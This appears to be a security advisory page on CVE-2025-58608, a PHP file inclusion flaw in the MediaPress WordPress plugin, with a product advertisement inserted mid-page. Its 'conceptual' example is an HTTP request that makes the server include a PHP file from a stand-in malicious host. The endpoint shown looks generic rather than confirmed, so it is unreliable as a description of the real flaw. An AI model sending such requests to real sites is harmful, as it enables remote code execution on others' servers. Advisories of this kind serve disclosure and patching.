Overview
The vulnerability identified as CVE-2025-58608 is a high-risk security flaw that affects BuddyDev MediaPress, a popular WordPress plugin. The vulnerability lies in the improper control of filename for include/require statement in PHP program, commonly known as PHP Remote File Inclusion, opening a gateway to PHP Local File Inclusion. This weakness could potentially result in system compromise or data leakage, posing a significant threat to the security of the affected systems.
Vulnerability Summary
CVE ID: CVE-2025-58608
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage
Affected Products
Share secrets securely
Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.
Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.
- • Encrypted identity
- • Private Spaces for organizations and teams
- • End-to-end encrypted chat, calls, files, and notes
- • Sensitive AI work and protected collaboration
- • Built for information that cannot leak
Our mission is to secure human work alongside AI.
Product | Affected Versions
BuddyDev MediaPress | n/a through 1.5.9.1
How the Exploit Works
This vulnerability stems from the improper control of filenames for include/require statements in PHP, known as PHP Remote File Inclusion. An attacker can manipulate the filename that is passed to these statements to include a file from a remote server that contains malicious code. This code is then executed in the context of the application, potentially leading to unauthorized access, system compromise, or data leakage.
Conceptual Example Code
Below is a conceptual example of how this vulnerability might be exploited:
GET /mediapress/?file=http://malicious.example.com/malicious_file.php HTTP/1.1
Host: vulnerable.example.com
Accept: */*
In this example, an attacker sends a GET request to the vulnerable endpoint and includes a malicious PHP file hosted on their server. The server then includes this file and executes the malicious code, potentially leading to a system compromise or data leakage.
Mitigation
We recommend immediate application of the vendor-supplied patch to fix this vulnerability. In the absence of a patch, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation, effectively limiting the potential for exploitation. Regularly updating and patching software can prevent the occurrence of vulnerabilities like CVE-2025-58608.
